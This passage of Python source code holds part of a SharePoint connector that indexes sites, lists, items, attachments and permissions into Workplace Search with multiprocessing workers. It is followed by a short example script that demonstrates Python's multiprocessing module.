"ParentWebUrl"), result.get("Title"), result.get("LastItemModifiedDate")]
else:
lists[result.get("Id")] = [result.get(
"ParentWebUrl"), result.get("Title"), result.get("LastItemModifiedDate")]
return lists, libraries
def index_items(self, lists, ids):
"""This method fetches items from all the lists in a collection and
invokes theindex permission method to get the document level permissions.
If the fetching is not successful, it logs proper message.
:param lists: document lists
Returns:
document: response of sharepoint GET call, with fields specified in the schema
"""
responses = []
# here value is a list of url and title
logger.info("Fetching all the items for the lists")
if not lists:
logger.info("No item was created in this interval: start time: %s and end time: %s" % (self.start_time, self.end_time))
return []
for value in lists.values():
if not ids["list_items"].get(value[0]):
ids["list_items"].update({value[0]: {}})
schema_item = self.get_schema_fields(LIST_ITEMS)
for list_content, value in lists.items():
if parse(self.start_time) > parse(value[2]):
continue
rel_url = urljoin(
self.sharepoint_host,
f"{value[0]}/_api/web/lists(guid'{list_content}')/items",
)
logger.info(
"Fetching the items for list: %s from url: %s"
% (value[1], rel_url)
)
query = self.sharepoint_client.get_query(
self.start_time, self.end_time, LIST_ITEMS)
response = self.sharepoint_client.get(rel_url, query, LIST_ITEMS)
response_data, self.is_error = check_response(
response,
"Could not fetch the items for list: %s" % (value[1]),
"Error while parsing the get items response for list: %s from url: %s."
% (value[1], rel_url),
LIST_ITEMS,
)
if not response_data:
logger.info("No item was created for the list %s in this interval: start time: %s and end time: %s" % (value[1], self.start_time, self.end_time))
continue
logger.info(
"Successfully fetched and parsed %s listitem response for list: %s from SharePoint"
% (len(response_data), value[1])
)
list_name = re.sub(r'[^ \w+]', '', value[1])
base_item_url = urljoin(self.sharepoint_host,
f"{value[0]}/Lists/{list_name}/DispForm.aspx?ID=")
document = []
if not ids["list_items"][value[0]].get(list_content):
ids["list_items"][value[0]].update({list_content: []})
rel_url = urljoin(
self.sharepoint_host, f'{value[0]}/_api/web/lists(guid\'{list_content}\')/items?$select=Attachments,AttachmentFiles,Title&$expand=AttachmentFiles')
new_query = "&" + query.split("?")[1]
file_response_data = self.sharepoint_client.get(rel_url, query=new_query, param_name="attachment")
if file_response_data:
file_response_data, self.is_error = check_response(file_response_data.json(), "No attachments were found at url %s in the interval: start time: %s and end time: %s" % (
rel_url, self.start_time, self.end_time), "Error while parsing file response for file at url %s." % (rel_url), "attachment")
for num in range(len(response_data)):
doc = {'type': ITEM}
if response_data[num].get('Attachments') and file_response_data:
for data in file_response_data:
if response_data[num].get('Title') == data['Title']:
file_relative_url = data[
'AttachmentFiles']['results'][0]['ServerRelativeUrl']
url_s = f"{value[0]}/_api/web/GetFileByServerRelativeUrl(\'{encode(file_relative_url)}\')/$value"
response = self.sharepoint_client.get(
urljoin(self.sharepoint_host, url_s), query='', param_name="attachment")
doc['body'] = {}
if response and response.status_code == requests.codes.ok:
try:
doc['body'] = extract(response.content)
except TikaException as exception:
logger.error('Error while extracting the contents from the attachment, Error %s' % (exception))
break
for field, response_field in schema_item.items():
doc[field] = response_data[num].get(
response_field)
if self.enable_permission is True:
doc["_allow_permissions"] = self.index_permissions(
key=LIST_ITEMS, list_id=list_content, list_url=value[0], itemid=str(response_data[num]["Id"]))
doc["url"] = base_item_url + str(response_data[num]["Id"])
document.append(doc)
if response_data[num].get("GUID") not in ids["list_items"][value[0]][list_content]:
ids["list_items"][value[0]][list_content].append(
response_data[num].get("GUID"))
logger.info(
"Indexing the listitem for list: %s to the Workplace"
% (value[1])
)
self.index_document(document, value[1], LIST_ITEMS)
responses.append(document)
return responses
def index_drive_items(self, libraries, ids):
"""This method fetches items from all the lists in a collection and
invokes theindex permission method to get the document level permissions.
If the fetching is not successful, it logs proper message.
:param libraries: document lists
:param ids: structure containing id's of all objects
"""
# here value is a list of url and title of the library
logger.info("Fetching all the files for the library")
if not libraries:
logger.info("No file was created in this interval: start time: %s and end time: %s" % (self.start_time, self.end_time))
return []
schema_drive = self.get_schema_fields(DRIVE_ITEMS)
for lib_content, value in libraries.items():
if parse(self.start_time) > parse(value[2]):
continue
if not ids["drive_items"].get(value[0]):
ids["drive_items"].update({value[0]: {}})
rel_url = urljoin(
self.sharepoint_host,
f"{value[0]}/_api/web/lists(guid'{lib_content}')/items?$select=Modified,Id,GUID,File,Folder&$expand=File,Folder",
)
logger.info(
"Fetching the items for libraries: %s from url: %s"
% (value[1], rel_url)
)
query = self.sharepoint_client.get_query(
self.start_time, self.end_time, DRIVE_ITEMS)
response = self.sharepoint_client.get(rel_url, query, DRIVE_ITEMS)
response_data, self.is_error = check_response(
response,
"Could not fetch the items for library: %s" % (value[1]),
"Error while parsing the get items response for library: %s from url: %s."
% (value[1], rel_url),
DRIVE_ITEMS,
)
if not response_data:
logger.info("No item was created for the library %s in this interval: start time: %s and end time: %s" % (value[1], self.start_time, self.end_time))
continue
logger.info(
"Successfully fetched and parsed %s drive item response for library: %s from SharePoint"
% (len(response_data), value[1])
)
document = []
if not ids["drive_items"][value[0]].get(lib_content):
ids["drive_items"][value[0]].update({lib_content: []})
for num in range(len(response_data)):
if response_data[num]['File'].get('TimeLastModified'):
obj_type = 'File'
doc = {'type': "file"}
file_relative_url = response_data[num]['File']['ServerRelativeUrl']
url_s = f"{value[0]}/_api/web/GetFileByServerRelativeUrl(\'{encode(file_relative_url)}\')/$value"
response = self.sharepoint_client.get(
urljoin(self.sharepoint_host, url_s), query='', param_name="attachment")
doc['body'] = {}
if response and response.status_code == requests.codes.ok:
try:
doc['body'] = extract(response.content)
except TikaException as exception:
logger.error('Error while extracting the contents from the file at %s, Error %s' % (response_data[num].get('Url'), exception))
else:
obj_type = 'Folder'
doc = {'type': "folder"}
for field, response_field in schema_drive.items():
doc[field] = response_data[num][obj_type].get(
response_field)
doc['id'] = response_data[num].get("GUID")
if self.enable_permission is True:
doc["_allow_permissions"] = self.index_permissions(
key=DRIVE_ITEMS, list_id=lib_content, list_url=value[0], itemid=str(response_data[num].get("ID")))
doc["url"] = urljoin(self.sharepoint_host, response_data[num][obj_type]["ServerRelativeUrl"])
document.append(doc)
if doc['id'] not in ids["drive_items"][value[0]][lib_content]:
ids["drive_items"][value[0]][lib_content].append(doc['id'])
if document:
logger.info("Indexing the drive items for library: %s to the Workplace" % (value[1]))
self.index_document(document, value[1], DRIVE_ITEMS)
else:
logger.info("No item was present in the library %s for the interval: start time: %s and end time: %s" % (
value[1], self.start_time, self.end_time))
def get_roles(self, key, site, list_url, list_id, itemid):
""" Checks the permissions and returns the user roles.
:param key: key, a string value
:param site: site name to check the permission
:param list_url: list url to access the list
:param list_id: list id to check the permission
:param itemid: item id to check the permission
Returns:
roles: user roles
"""
if key == SITES:
rel_url = urljoin(self.sharepoint_host, site)
roles = self.permissions.fetch_users(key, rel_url)
elif key == LISTS:
rel_url = urljoin(self.sharepoint_host, list_url)
roles = self.permissions.fetch_users(
key, rel_url, list_id=list_id
)
else:
rel_url = urljoin(self.sharepoint_host, list_url)
roles = self.permissions.fetch_users(
key, rel_url, list_id=list_id, item_id=itemid
)
return roles, rel_url
def index_permissions(
self,
key,
site=None,
list_id=None,
list_url=None,
itemid=None,
):
"""This method when invoked, checks the permission inheritance of each object.
If the object has unique permissions, the list of users having access to it
is fetched using sharepoint api else the permission levels of the that object
is taken same as the permission level of the site collection.
:param key: key, a string value
:param site: site name to index the permission for the site
:param list_id: list id to index the permission for the list
:param list_url: url of the list
:param itemid: item id to index the permission for the item
Returns:
groups: list of users having access to the given object
"""
roles, rel_url = self.get_roles(key, site, list_url, list_id, itemid)
groups = []
if not roles:
return []
roles, self.is_error = check_response(roles.json(), "Cannot fetch the roles for the given object %s at url %s" % (
key, rel_url), "Error while parsing response for fetch_users for %s at url %s." % (key, rel_url), "roles")
for role in roles:
title = role["Member"]["Title"]
groups.append(title)
return groups
def indexing(self, collection, ids, storage, is_error_shared, job_type, parent_site_url, sites_path, lists_details, libraries_details):
"""This method fetches all the objects from sharepoint server and
ingests them into the workplace search
:param collection: collection name
:param ids: id collection of the all the objects
:param storage: temporary storage for storing all the documents
:is_error_shared: list of all the is_error values
:job_type: denotes the type of sharepoint object being fetched in a particular process
:parent_site_url: parent site relative path
:sites_path: dictionary of site path and it's last updated time
:lists_details: dictionary containing list name, list path and id
:library_details: dictionary containing library name, library path and id
"""
if job_type == "sites":
sites = self.index_sites(parent_site_url, {}, ids, index=(SITES in self.objects))
sites_path.update(sites)
elif job_type == "lists":
if not self.is_error:
lists, libraries = self.index_lists(sites_path, ids, index=(LISTS in self.objects))
lists_details.update(lists)
libraries_details.update(libraries)
elif job_type == "list_items":
if LIST_ITEMS in self.objects and not self.is_error:
self.index_items(lists_details, ids)
else:
if DRIVE_ITEMS in self.objects and not self.is_error:
self.index_drive_items(libraries_details, ids)
logger.info(
"Completed fetching all the objects for site collection: %s"
% (collection)
)
logger.info(
"Saving the checkpoint for the site collection: %s" % (collection)
)
is_error_shared.append(self.is_error)
self.is_error = False
if ids.get(job_type):
prev_ids = storage[job_type]
if job_type == 'sites':
prev_ids.update(ids[job_type])
elif job_type == "lists":
for site, list_content in ids[job_type].items():
prev_ids[site] = {**prev_ids.get(site, {}), **ids[job_type][site]}
else:
for site, list_content in ids[job_type].items():
prev_ids[site] = ids[job_type][site] if not prev_ids.get(site) else prev_ids[site]
for list_name in list_content.keys():
prev_ids[site][list_name] = list(set([*prev_ids[site].get(list_name, []), *ids[job_type][site][list_name]]))
storage[job_type] = prev_ids
def datetime_partitioning(start_time, end_time, processes):
""" Divides the timerange in equal partitions by number of processors
:param start_time: start time of the interval
:param end_time: end time of the interval
:param processes: number of processors the device have
"""
start_time = datetime.strptime(start_time, DATETIME_FORMAT)
end_time = datetime.strptime(end_time, DATETIME_FORMAT)
diff = (end_time - start_time) / processes
for idx in range(processes):
yield (start_time + diff * idx)
yield end_time
def init_multiprocessing(data, start_time, end_time, collection, ids, storage, is_error_shared, job_type, parent_site_url, sites_path, lists_details, libraries_details):
"""This method initializes the FetchIndex class and kicks-off the multiprocessing. This is a wrapper method added to fix the pickling issue while using multiprocessing in Windows
:param data: configuration dictionary
:param start_time: start time of the indexing
:param end_time: end time of the indexing
:param collection: collection name
:param ids: id collection of the all the objects
:param storage: temporary storage for storing all the documents
:is_error_shared: list of all the is_error values
:job_type: denotes the type of sharepoint object being fetched in a particular process
:parent_site_url: parent site relative path
:sites_path: dictionary of site path and it's last updated time
:lists_details: dictionary containing list name, list path and id
:library_details: dictionary containing library name, library path and id
"""
indexer = FetchIndex(data, start_time, end_time)
indexer.indexing(collection, ids, storage, is_error_shared, job_type, parent_site_url, sites_path, lists_details, libraries_details)
def start(indexing_type):
"""Runs the indexing logic regularly after a given interval
or puts the connector to sleep
:param indexing_type: The type of the indexing i.e. Incremental Sync or Full sync
"""
logger.info("Starting the indexing..")
config = Configuration("sharepoint_connector_config.yml", logger)
data = config.configurations
is_error_shared = multiprocessing.Manager().list()
while True:
current_time = (datetime.utcnow()).strftime("%Y-%m-%dT%H:%M:%SZ")
ids_collection = {"global_keys": {}}
storage_with_collection = {"global_keys": {}, "delete_keys": {}}
if (os.path.exists(IDS_PATH) and os.path.getsize(IDS_PATH) > 0):
with open(IDS_PATH) as ids_store:
try:
ids_collection = json.load(ids_store)
except ValueError as exception:
logger.exception(
"Error while parsing the json file of the ids store from path: %s. Error: %s"
% (IDS_PATH, exception)
)
storage_with_collection["delete_keys"] = copy.deepcopy(ids_collection.get("global_keys"))
for collection in data.get("sharepoint.site_collections"):
storage = multiprocessing.Manager().dict({"sites": {}, "lists": {}, "list_items": {}, "drive_items": {}})
logger.info(
"Starting the data fetching for site collection: %s"
% (collection)
)
check = Checkpoint(logger, data)
worker_process = data.get("worker_process")
if indexing_type == "incremental":
start_time, end_time = check.get_checkpoint(
collection, current_time)
else:
start_time = data.get("start_time")
end_time = current_time
# partitioning the data collection timeframe in equal parts by worker processes
partitions = list(datetime_partitioning(
start_time, end_time, worker_process))
datelist = []
for sub in partitions:
datelist.append(sub.strftime(DATETIME_FORMAT))
jobs = {"sites": [], "lists": [], "list_items": [], "drive_items": []}
if not ids_collection["global_keys"].get(collection):
ids_collection["global_keys"][collection] = {
"sites": {}, "lists": {}, "list_items": {}, "drive_items": {}}
parent_site_url = f"/sites/{collection}"
sites_path = multiprocessing.Manager().dict()
sites_path.update({parent_site_url: end_time})
lists_details = multiprocessing.Manager().dict()
libraries_details = multiprocessing.Manager().dict()
logger.info(
"Starting to index all the objects configured in the object field: %s"
% (str(data.get("objects")))
)
for num in range(0, worker_process):
start_time_partition = datelist[num]
end_time_partition = datelist[num + 1]
logger.info(
"Successfully fetched the checkpoint details: start_time: %s and end_time: %s, calling the indexing"
% (start_time_partition, end_time_partition)
)
for job_type, job_list in jobs.items():
process = multiprocessing.Process(target=init_multiprocessing, args=(data, start_time_partition, end_time_partition, collection, ids_collection["global_keys"][collection], storage, is_error_shared, job_type, parent_site_url, sites_path, lists_details, libraries_details))
job_list.append(process)
for job_list in jobs.values():
for job in job_list:
job.start()
for job in job_list:
job.join()
storage_with_collection["global_keys"][collection] = storage.copy()
if True in is_error_shared:
check.set_checkpoint(collection, start_time, indexing_type)
else:
check.set_checkpoint(collection, end_time, indexing_type)
with open(IDS_PATH, "w") as f:
try:
json.dump(storage_with_collection, f, indent=4)
except ValueError as exception:
logger.warn(
'Error while adding ids to json file. Error: %s' % (exception))
if indexing_type == "incremental":
interval = data.get("indexing_interval")
else:
interval = data.get("full_sync_interval")
# TODO: need to use schedule instead of time.sleep
logger.info("Sleeping..")
time.sleep(interval * 60)
if __name__ == "__main__":
start("incremental")
|
basic_multiprocessing_function.py
|
###################################
# File Name : basic_multiprocessing_function.py
###################################
#!/usr/bin/python3
import os
import multiprocessing
def worker(count):
print ("name : %s, argument : %s" % (multiprocessing.current_process().name, count))
print ("parent pid : %s, pid : %s" % (os.getppid(), os.getpid()))
print ("")
def main():
for i in range(5):
p = multiprocessing.Process(target=worker, name="process %i" % i, args=(i,))
p.start()
if __name__ == "__main__":
main()
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.